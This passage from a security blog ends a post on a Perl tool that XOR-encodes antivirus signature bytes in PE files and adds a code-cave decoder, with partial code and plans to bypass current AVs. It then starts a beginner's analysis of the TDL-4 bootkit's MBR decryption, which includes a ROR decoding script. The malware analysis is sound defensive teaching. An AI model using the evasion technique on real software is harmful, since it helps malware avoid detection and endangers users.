> ". $vsig_end . "\n\n";<br /> }<br /> else{<br /> print "\n\t***** Oooops :-( ... Signature NOT FOUND *******\n";<br /> exit(0);<br /> }<br /> }<br /> else{<br /> get_signature("p2", $div + 1, $end, @copia);<br /> }<br />}<br />elsif ($ans eq "n") {#Signature located at Parte 1<br /> $c_found =0;<br /> $sig_ini = $off;<br /> $sig_end = $div;<br /> #Before searching again for the signature, we make sure the signature is not less than 1 byte, if so, no more iteractions<br /> if ( ($div - $off <= 1) ){<br /> print "\n\t***** Signature FOUND ***********\n" ;<br /> get_section();<br /> get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine<br /> print "\tSignature Address Range: " . $vsig_ini . " < -- > ". $vsig_end . "\n\n";<br /> }<br /> else{<br /> get_signature("p1", $off, $div, @copia);<br /> } <br />}<br />}</span><br /><br />You can see how this works by watching the video mentioned at the end of this article.<br /><br /><span style="font-weight: bold;">Inserting Code Cave:</span><br /><ol><li>The tool searches for enough space (35 bytes) within the text section to insert our decoder. TODO: The tool should be able to search in every section or even to create a new one if not enough space found.<br /></li><li>The tool redirect the Entry Point by inserting a CALL instruction to jump into the space found at point 1. The tool assumes the entry point contains a 5-opcode instruction and therefore able to replace it with a CALL instruction which is also 5 bytes. The tool supports the option to change this assumption with the "-o" option.<br /></li><li>The signature found is encoded with a XOR encryption key.<br /></li><li>A basic XOR decoder is inserted with a random encryption key, which is calculated every time the program runs.</li><li>The new file is stored in the filesystem.</li></ol><span style="font-weight: bold;">Section patching on the fly:</span><br /><br />One the the main features that personally loved to implement was to be able to make the section writeable if need.<br /><br />Every section (text, data, resources, so on) within a PE file contains a DWORD member called "Characteristics" which contains flags to indicate whether the file is executable or the permissions of the file on memory. In our case, we need to make sure, the section is "Writeable" on memory so that we can change the signature (which was encoded at rest) on memory.<br /><br />The calculation took me time to understand it but the formula is so simple. The tool gets the DWORD bytes of the characteristics member within the section where the signature was found and then if the value is less than 0x80000000 it means the section is NOT writeable on memory and therefore the hex value 0x80000000 is added to the current flag.<br /><br />The code is shown below:<br /><span style="color: rgb(255, 0, 0);font-size:78%;" ><br />sub set_flag(){<br /><br />my $i = shift @_;<br />#@copia = @main;<br />#Si el valor del flag es < 80000000 entonces no es writable y por lo tanto se le suma al valor 80000000. Y si es >= 80000000 entonces es writable y no se hace nada.<br />if ( hex($SEC{$i}{"flag"}) < hex("80000000") ) {<br /> print ("\tThe section is not writable! so patching the section.\n");<br /> my $w_byte = sprintf("%x", hex($SEC{$i}{"flag"}) + hex("80000000") ) ;<br /> #print " New writable Flag=>" . $w_byte . "\n";<br /> #Patching the binary in little endian.<br /> $copia[$SEC{$i}{"offset"} + 36] = substr $w_byte, 6,2;<br /> $copia[$SEC{$i}{"offset"} + 37] = substr $w_byte, 4,2;<br /> $copia[$SEC{$i}{"offset"} + 38] = substr $w_byte, 2,2;<br /> $copia[$SEC{$i}{"offset"} + 39] = substr $w_byte, 0,2;<br /> #Escribimos nuevo binario parchado<br /> #write_file(@copia);<br />}<br />else{<br /> print ("\tThe section is writable so we are good to go!\n");<br />}<br />}</span><br /><br /><span style="font-weight: bold;">TODO:</span><br /><br /><ol><li>Able to insert new encoders to bypass latest AVs.</li><li>Able to create new sections if needed.</li><li>Able to encode the Metasploit encoders.</li></ol><br /><span style="font-weight: bold;">IMPORTANT:</span><br /><br />Se how the tool works here:<br /><iframe src="http://www.youtube.com/embed/ebJjbqDIAHQ?hl=en&fs=1" allowfullscreen="" frameborder="0" height="349" width="425"></iframe><br /><br />If interested in the source code, send me an email to danuxx@gmail.com.<br /><br />Please share new ideas to implement new encoders in the tool.Danuxhttp://www.blogger.com/profile/06729243424924753220noreply@blogger.com3tag:blogger.com,1999:blog-4984553587728477254.post-23212506542688157092011-03-15T21:20:00.000-07:002013-07-18T00:08:22.649-07:00TDSS:TDL-4 - Bootkit - 101 Approach - Part 1<span style="font-weight: bold;">DISCLAIMER</span>:<span style="font-family: trebuchet ms; font-size: 100%;"><span style="font-family: arial;"> First off, all the information found here is for EDUCATIONAL PURPOSE ONLY. The author is not responsible for any misuse.<br /><br /><span style="font-weight: bold;">IMPORTANT</span>: The intent of my posts is to share knowledge and grow together, so if you find something that you think is inaccurate, feel free to let me know and together we can prepare a better document and learn together. I am not a Hacker, Cracker or something similar, just a hot-blooded Security guy who wants to learn and share. So, if you want to start criticizing without proposing anything, I will just ignore those comments.</span><br /><br /><span style="font-weight: bold;">Audience</span>: <span style="font-family: arial;">Not for Junior/Senior Malware Analyst but for starters.<br /><br /><span style="font-weight: bold;">Acknowledgments:</span> I want to thank Phil Fuhrer who realized we were dealing with TDL-4 and who found the ROR procedure to encode part of MBR code.</span><br /><span style="font-family: arial;"><span style="font-weight: bold;"></span></span></span><br />
<div>
<span style="font-family: trebuchet ms; font-size: 100%;"><span style="font-family: arial;"><span style="font-weight: bold;">Goal</span>:<br /><br />Personally, every time I read a blog from AV guys, it is hard to understand since it is too technical, which is good for those who are working on a daily basis on Malware Analysis-related efforts, but what about the community who wants to start in this field? They will need to know the step-by-step process to start entering into this area and most important to got interest. That is the idea of these "101 Approach" Series... to learn from scratch!!!</span></span><span style="font-family: arial;"><span style="font-family: arial;"><br /><br /><span style="font-weight: bold;">Introduction:</span></span><br />I started analyzing the rootkit/bootkit known as TDSS. TDL-4, at the beginning I did not have any idea about the behavior of this threat so we start gathering information from the community and I end up with an excellent </span><span style="font-family: arial; font-size: 100%;"><a href="http://www.securelist.com/en/analysis/204792157/TDSS_TDL_4">article</a></span><span style="font-family: trebuchet ms; font-size: 100%;"> <span style="font-family: arial;">from Kaspersky explaining this new variant.</span></span><span style="font-family: arial; font-size: 100%;"> </span><span style="font-family: trebuchet ms; font-size: 100%;"><span style="font-family: arial;">When I started analyzing the aforementioned article, I realized the writers just got to the point (as expected) and skip too many details of the analysis.</span></span><span style="font-family: trebuchet ms; font-size: 100%;"><br /><br /><span style="font-family: arial;">The intent of this "101 Approach" series, is to document the "gray areas" not described in those technical articles, as well as mention the new variants with the Malware I got in my Lab so</span> <span style="font-family: arial;">that, </span>if <span style="font-family: arial;">you are a beginner in this field and not a technical guru, you still will be able to understand/follow the internals of this bootkit.</span></span> <span style="font-family: trebuchet ms; font-size: 100%; font-weight: bold;"><br /><br /><span style="font-family: arial;">Scope:</span></span><span style="font-family: trebuchet ms; font-size: 100%;"><span style="font-family: arial;"></span></span></div>
<div>
<span style="font-family: trebuchet ms; font-size: 100%;"><span style="font-family: arial;"><br />In this Part 1, I will analyze only the bookit portion of the Malware</span></span><span style="font-family: trebuchet ms; font-size: 100%; font-weight: bold;">.<br /><br /><span style="font-family: arial;">Master Boot Record Infection (MBR):</span></span><span style="font-family: arial; font-size: 100%;"><br /></span><span style="font-family: trebuchet ms; font-size: 100%;">As mentioned by Kaspersky, this new variant infects the MBR, and here is the first "gray area" that need more explanation.</span><span style="font-family: arial; font-size: 100%;"> </span><span style="font-family: trebuchet ms; font-size: 100%;">In order to understand how the MBR is infected, you </span><span style="font-family: trebuchet ms; font-size: 100%; font-weight: bold;">first</span><span style="font-family: trebuchet ms; font-size: 100%;"> must understand how MBR works.</span><span style="font-family: arial; font-size: 100%;"> <a href="http://starman.vertcomp.com/asm/mbr/STDMBR.htm" target="_blank">An Examination of the Standard MBR</a></span><span style="font-family: trebuchet ms; font-size: 100%;"> is an old but excellent article where you can understand the way MBR works as well as the assembly code associated.</span><xxxxxxx style="font-family: arial;"><br /></xxxxxxx> <xxxxxxx style="font-family: arial;"><br />When a BIOS-based (Basic Input Output System) computer boots, the first code it executes is called the BIOS, which is encoded into the computer's ROM. The BIOS selects a boot device, reads the device' MBR into memory (see point 3 below), and transfers control to the code in the MBR.<br /><br />For the purpose of this analysis, these are the key points to keep in mind about MBR:<br /></xxxxxxx><br />
<ul>
<li><xxxxxxx style="font-family: arial;">The MBR is assembly code stored at the first sector of the hard disk (offset 0000).</xxxxxxx></li>
<li><xxxxxxx style="font-family: arial;">A sector contains 512 bytes and therefore this is the size of MBR code</xxxxxxx><xxxxxxx style="font-family: arial;">.</xxxxxxx></li>
<li><xxxxxxx style="font-family: arial;">MBR is used to load the active partition which contains the boot ins</xxxxxxx><xxxxxxx style="font-family: arial;">tructions to load the Operating System.</xxxxxxx></li>
<li><xxxxxxx face="arial" style="font-family: arial;">The BIOS will load the MBR block (512 bytes) into memory at offset 7C00.</xxxxxxx></li>
<li><xxxxxxx face="arial" style="font-family: arial;">The BIOS transfers execution to MBR after loading it into memory.</xxxxxxx></li>
</ul>
<xxxxxxx style="font-family: trebuchet ms;"><br /><span style="font-weight: bold;">Analyzing MBR code:<br /></span></xxxxxxx>Get the first <xxxxxxx style="font-family: arial;">512 bytes of the infected hard drive and open it with IDA Pro by choosing:<br /><br />Varios Files-> Binary/Raw File option<br /><br />And very important, when IDA Pro asks "<span style="font-style: italic;">Do you want to disassemble it as 32 bit code?"</span><br />Click <span style="font-weight: bold;">"NO"</span> since MBR code is 16 bit syntax (bp instead of ebp, sp instead of esp, so on).<br /><br />Another point to consider, once the code is loaded into IDA, go to the first assembly instruction and hit letter "C" (to set the Entry Point) so that IDA can analyze the code and create the proper assembly operands, otherwise you will see cod</xxxxxxx><xxxxxxx face="arial">e that make</xxxxxxx><xxxxxxx face="arial">s no sense. This needs to be done every time you need IDA to interpret a piece of code being analyzed.<br /><br />The image below shows the extract </xxxxxxx><xxxxxxx face="arial"><span style="font-family: arial;">of the first instructions of MBR via IDA Pro. By reviewing these lines of code, we realized, the bootkit did not change its initial behavior.</span><br /></xxxxxxx></div>
<div style="font-family: arial; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijoCfIA3a-GLwOr0_8evP_h4_yuyaFocCZFl73JpfkeRiFQBmYuQYOuKQ2Y4AfeY-kEfpvmQJhS4NzY9Uz7cTkW3NBGtLjpGkzaKRCvmtAboS13BkHDIbuu7sCE6FZPQLqeM9eaW_loETq/s1600/tds1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijoCfIA3a-GLwOr0_8evP_h4_yuyaFocCZFl73JpfkeRiFQBmYuQYOuKQ2Y4AfeY-kEfpvmQJhS4NzY9Uz7cTkW3NBGtLjpGkzaKRCvmtAboS13BkHDIbuu7sCE6FZPQLqeM9eaW_loETq/s320/tds1.jpg" id="BLOGGER_PHOTO_ID_5584546459818769234" style="cursor: pointer; height: 129px; width: 320px;" /></a></div>
<div>
</div>
<div style="font-family: trebuchet ms; text-align: left;">
<br />
What this code does is to copy MBR code itself from memory location 7c00h to 600h. This is done since later on MBR code will load the Boot Sector of the Active Partition in to the same area of memory (7C00h) that it was first loaded into.<br />
<br />
Basically, the code uses movsb instruction to move one single byte at a time, from SI = 7C00h to DI= 600h, so in order to move 512 bytes, CX register is used as the counter 200h=512d and the REP (repeat) instruction to loop and copy the whole sector into the new location.<br />
<br />
<span style="font-weight: bold;">Decrypting MBR code:</span><br />
<br />
By looking at the next instructions within the MBR sector, we confirmed the bootkit was using a basic <a href="http://sites.google.com/site/6502asembly/6502-instruction-set/ror">ROR</a> (Rotate right) method to obfuscate/encrypt some code as explained by Kaspersky blog, so let's analyze how this obfuscation works and the address space affected. Below is the chunk of code that implements the encryption process:<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdWlIozxEJOTnYD8_WKfAAK4mJtV1xPzQiOU1dswsMX29NIKf6AuKSOgP46bJbSShRBKCKqy3zkvZPHvvsBmq68u1JfN5d53sVjLmPz1wn9HCaznbcVEjQyqjIsTBbinBpuUuMv6HOmQO/s1600/tds3.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixdWlIozxEJOTnYD8_WKfAAK4mJtV1xPzQiOU1dswsMX29NIKf6AuKSOgP46bJbSShRBKCKqy3zkvZPHvvsBmq68u1JfN5d53sVjLmPz1wn9HCaznbcVEjQyqjIsTBbinBpuUuMv6HOmQO/s320/tds3.jpg" id="BLOGGER_PHOTO_ID_5584789101031782770" style="cursor: pointer; height: 170px; width: 320px;" /></a></div>
<br />
Before starting our analysis, make a note of the instructions started at offset 2A, those are currently encrypted, you will see the difference below once those are decrypted, so far, those instructions make no sense, right?<br />
<br /></div>
<div>
<xxxxxxx face="arial"><span style="font-weight: bold;">001E</span>: CX is set to 132h, this number contains the chunk siz</xxxxxxx><xxxxxxx face="arial">e of memory to be decrypted and the key used for decryption. I will explain this in detail below.<br /><br /><span style="font-weight: bold;">0021</span>: BP is set to 62Ah, this is the offset in memory where the ROR will start decrypting the data. If you remember, MBR copied itself to 600h which means, 2A bytes below is where the encrypted code is located which is right after the loop instruction.<br /><br /><span style="font-weight: bold;">0024</span>: ROR instruction will be executed ag</xxxxxxx><xxxxxxx face="arial">ainst the data located at 62Ah with the key located at CL register, in the first loop it will be 32. Next loop will decrypt data at 62Ah + 1 with CL=31 and so on.</xxxxxxx> <xxxxxxx face="arial"><br /><br /><span style="font-weight: bold;">0028</span>: Loop until CL becomes 0 and therefore the loop ends (loop instruction decrements CX by default).<br /><span style="font-size: 85%;"><br />*NOTE: In order to avoid "Pattern recognition", Malware creators change the registers and or keys of the malicious code. If you compare the <a href="http://www.securelist.com/en/images/vlill/rusakov_tdl4_pic04.png">decryption routine</a> described by Kaspersky guys and mine you will notice one change, the decryption key/size is different:</span><br /><br />Kaspersky = CX = 137 h<br />Mine = CX = 132h</xxxxxxx> <xxxxxxx style="font-family: arial;">With this small change, all the encrypted code l</xxxxxxx><xxxxxxx style="font-family: arial;">ooks totally different.<br /><br />You could try to decrypt the whole chunk by applying the ROR in every single byte that is tedious and prone to errors so I took the opportunity and created a simple Perl script (<span style="font-style: italic; font-weight: bold;">Regalado-ROR.pl</span>) to do the ROR decryption for us.<br />Basically what my script expects as parameters are:<br /></xxxxxxx><br />
<ul>
<li><xxxxxxx style="font-family: arial;">The image/raw file being analyzed</xxxxxxx></li>
<li><xxxxxxx style="font-family: arial;">The CX value (in this case 132h)</xxxxxxx></li>
<li><xxxxxxx style="font-family: arial;">The BP value (offset to start decrypting).</xxxxxxx></li>
</ul>
<xxxxxxx style="font-family: arial;"><br /><span style="font-style: italic; font-weight: bold;">Regalado-ROR.pl</span> will create and output file called "testiculo.bin" (don't ask me what this means in Spanish LoL) with the chunk of code decrypted, then you can open this file via IDA Pro to keep analyzing further instructions.<br /><br />So, the way I executed the script was:<br /><br /><span style="font-size: 85%;"><span style="font-style: italic;">./Regalado-ROR.pl -f MBR-dump.raw -k 132 -o 2A</span><br /><br /><span style="font-style: italic;">Outputfile = testiculo.bin</span></span><br /><br />The image below shows the new raw file created by Regalado-ROR.pl with the decrypted instructions started at offset 2A which NOW makes more sense, you can start seeing "int 13h" (explain letter) and the ldr16 string mentioned by Kasp</xxxxxxx><xxxxxxx style="font-family: arial;">ersky, so that means we are heading to the right direction!!<br /><br /></xxxxxxx></div>
<div style="text-align: center;">
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMqMkF3wyMPYdz8NjWHfkMPKtZLYXlcjX4T4037TW5axyyEWKL9C4RhnHGnUhKQCS_iJTZ4IdwpOvMd4VH2VsZ9CzWVQYg7NpyPvdOIG0LTx19SFsvVBSs_-SD9hvB8satfo-mASaz0Jqq/s1600/tds2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" style="font-family: arial;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMqMkF3wyMPYdz8NjWHfkMPKtZLYXlcjX4T4037TW5axyyEWKL9C4RhnHGnUhKQCS_iJTZ4IdwpOvMd4VH2VsZ9CzWVQYg7NpyPvdOIG0LTx19SFsvVBSs_-SD9hvB8satfo-mASaz0Jqq/s320/tds2.jpg" id="BLOGGER_PHOTO_ID_5584551806244510386" style="cursor: pointer; height: 166px; width: 320px;" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3pZ4H2UBW5ej0-Z7qTaVslz-o9JGKXOe6ReuNbZcaaWDuEwe8fesVdDoWaAQn0OazoxOhhvDVnFUyK9VHpEGkN938PUSUhxaSh7Zc0LSeGpXk2p7gRa-FjxoddJIsE68OXU9xr05g3VNN/s1600/tds4.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" style="font-family: arial;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3pZ4H2UBW5ej0-Z7qTaVslz-o9JGKXOe6ReuNbZcaaWDuEwe8fesVdDoWaAQn0OazoxOhhvDVnFUyK9VHpEGkN938PUSUhxaSh7Zc0LSeGpXk2p7gRa-FjxoddJIsE68OXU9xr05g3VNN/s320/tds4.jpg" id="BLOGGER_PHOTO_ID_5584791193874933218" style="cursor: pointer; height: 145px; width: 316px;" /></a><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;"><br />The Regalado-ROR.pl script is shown below, for you to use it in new variants of TDL-4.</span> <span style="font-family: trebuchet ms; font-size: 85%;"><span style="color: #000099;"><br /><br /><span style="font-size: 78%;">#!/usr/bin/perl</span></span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">#Regalado-ROR.pl implementation to unencrypt MBR</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">#Author: Daniel Regalado aka Danux Mitnick from Neza to the World!!!!<br />#Email: danuxx at gmail.com</span><span style="color: #000099; font-size: 78%;">#Date: 03/11/2011 - 3:36 AM</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">use Getopt::Std;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">getopts('f:k:o:',\%args);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">if (!defined ($args{'k'}) or !defined ($args{'f'}) or !defined ($args{'o'}) ){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> print "\n\tUsage: Regalado-ROR.pl -f <raw> -k <cx> -o <offset>\n" ;</offset></cx></raw></span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> exit(0);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">}</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my @main; #Array which contains the raw encrypted chunk</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my $file = $args{'f'};</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">load_file(); #Let's load the raw file into @main array.</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my @dec = @main; #Array which contains the raw decoded chunk</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my $key = hex($args{'k'});</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my $off = hex($args{'o'});</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">my $i =0;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">for (1 .. $key){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> #obteniendo solo los primeros 8 bits de la llave</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $cl = $key & 0b11111111;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> #print "CL => $cl \n";</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $key --;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> #print "Raw byte=> $main[$off] \n";</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $dec[$off] = &ror(hex($main[$off]), $cl) ;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $off++;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">}</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">write_file(@dec); #Write decoded chunk to be analyzed by IDA Pro</span><span style="font-size: 78%;"><br /><br /></span><span style="color: #000099; font-size: 78%;">sub ror {</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> # Usage: &ror(number, n)</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> # Rotate 'number' by 'n' bits right</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $number = shift;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $bits2rotate = shift;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> for (1..$bits2rotate) {</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> # Get right-most bit</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $rmb = $number & 0b00000001;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> #print "rmb = $rmb\n";</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> # Shift right 1 bit</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $number = $number >> 1;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> #print "number = $number\n";</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> # Set left-most bit if the right-most bit of the number was == 1</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> if ($rmb == 1) {</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $number = $number | 0b10000000;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> }</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> }</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> return sprintf("%02x",$number);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">}</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">#Imprime el arreglo que contiene el raw file en el file system.</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">#Param 1: Arreglo que contiene el raw file </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">sub write_file(){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my @final = @_;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> open (FILE2,">testiculo.bin") or die $!;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> binmode(FILE2);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> for my $n (0 .. $#final){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> print FILE2 sprintf("%c", hex($final[$n]) ); </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> }</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> close (FILE2);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">}</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">sub load_file(){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> open(FILE, "<$file") or die $!;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> binmode(FILE);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> undef($main);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $char = "";</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> my $i =0;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> while (1) { </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $char = getc(FILE);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $main[$i] = sprintf("%02x", ord($char));</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> if (eof(FILE)){</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $fin = $i;#Saving the length of the file.</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> last; </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> } </span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> $i +=1;</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> }</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;"> close(FILE);</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">}</span><span style="font-size: 78%;"><br /></span><span style="color: #000099; font-size: 78%;">#END of Script</span></span> <span style="font-family: trebuchet ms; font-weight: bold;"><br /><br /><span style="font-family: arial;">Understanding decrypted code</span></span><span style="font-family: arial;">:</span> <span style="font-family: arial;"><br /><br />Next step is to understand what the decrypted code is going to do, as per Kasperky blog: "</span><span style="font-family: trebuchet ms; font-style: italic;">The main function of the MBR loader, which is small in size, is to search the rootkit’s encrypted partition for the ldr16 component, load it into RAM and pass control to it.</span><span style="font-family: trebuchet ms;">"</span><span style="font-family: arial;"><br /></span><span style="font-family: trebuchet ms;">But again, let's analyze this "gray area" since there are many internal steps before taking above conclusion.</span> <span style="font-family: trebuchet ms;"><br /><br /><span style="font-family: arial;">The main feature to understand here is the interruption 13h or INT 13 which basically uses different functions to read, write, lock, unlock</span>, <span style="font-family: arial;">eject, etc</span>,<span style="font-family: arial;"> hard disks and</span> <span style="font-family: arial;">removable</span> <span style="font-family: arial;">media</span>.</span> <span style="font-family: trebuchet ms;"><span style="font-family: arial;">There are two</span> types of int 13h:</span><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;"><span style="font-family: arial;">1</span>. </span><span style="font-family: trebuchet ms; font-style: italic;"><span style="font-family: arial;">The legacy INT 13</span></span> </div>
<div style="text-align: left;">
<ul style="font-family: arial;">
<li>Which was designed in the early 1980's.</li>
<li>The maximum theoretical capacity (disk size) of this API is 8.4 GB.</li>
<li>Uses function numbers 1-15h and Cylinder-Head-Sector (CHS) oriented.</li>
</ul>
<span style="font-family: arial; font-weight: bold;">The Extended INT 13 interface</span></div>
<div style="font-family: arial; text-align: left;">
<ul>
<li>Replace CHS addressing with Logical Block Addressing (LBA).</li>
<li>Give the BIOS better control over how this data is used.</li>
<li>Uses functions numbers 41h-48h.</li>
<li>It uses a data structure called "Disk Address Packet".</li>
</ul>
</div>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: arial;">We will concentrate our analysis in the second option, the Extended INT 13</span> <span style="font-family: arial;">interface since our Malware uses the options 42h and 48h to commit its malicious actions</span>.</span><span style="font-family: arial;"> </span></div>
<span style="font-family: trebuchet ms;"><br /></span>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: arial;">The article</span> "</span><a href="http://www.t10.org/t13/technical/d98120r0.pdf" style="font-family: arial;">Enhanced Disk Drive Specification</a><span style="font-family: trebuchet ms;"> (EDDS)" <span style="font-family: arial;">details all the futures of this interface, as well as the "Disk Address Packet" structure mentioned above</span>.</span><span style="font-family: arial;"> </span><span style="font-family: trebuchet ms;"><span style="font-family: arial;">Moving forward, let's analyze the first chunk of the decrypted data, basically, you will notice that the INT 13 is being called with the extension passed via AH register, in this case 48h, which means, Get the Drive Parameters. See image below:</span></span> </div>
<span style="font-family: trebuchet ms;"><br /></span> <br />
<div style="font-family: arial; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGgDpGfxnT4xa_mGUB3L_chOXsM36godd0-j1WYXJcnusq2eOOTZb5lpNicCxgyOt5Se2lyFikFiMoOYzcN9_mrggbMEtZiqBBtY4fCXrzjNRSWnwnVgmusZy6FRflbcerXLepOeH-lNun/s1600/tds5.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGgDpGfxnT4xa_mGUB3L_chOXsM36godd0-j1WYXJcnusq2eOOTZb5lpNicCxgyOt5Se2lyFikFiMoOYzcN9_mrggbMEtZiqBBtY4fCXrzjNRSWnwnVgmusZy6FRflbcerXLepOeH-lNun/s320/tds5.jpg" id="BLOGGER_PHOTO_ID_5584809908212095810" style="cursor: pointer; height: 90px; width: 320px;" /></a></div>
<span style="font-family: trebuchet ms;"><br /></span>
<div style="text-align: left;">
<span style="font-family: trebuchet ms;"><span style="font-family: arial; font-weight: bold;">Extension 48h - Get Driver parameters</span></span><span style="font-family: trebuchet ms;"><span style="font-weight: bold;">:003C</span> - </span><br />
<br />
<span style="font-family: trebuchet ms;">AH is set to the extension number required, in this case 48h.</span><br />
<br />
<span style="font-family: trebuchet ms;"><span style="font-weight: bold;">:003E</span> - Offset in memory to store the</span><span style="font-family: trebuchet ms;"> result buffer</span><span style="font-family: arial;">. </span><span style="font-family: trebuchet ms;">The result buffer is were all the parameters of the hard disk will be stored and it is explained in detail in the </span><a href="http://www.t10.org/t13/technical/d98120r0.pdf" style="font-family: arial;">EDDS article.</a><br />
<span style="font-family: trebuchet ms;"><span style="font-weight: bold;">:0041</span> - Maximum buffer size: Located at offset 0 (86Fh).</span><br />
<br />
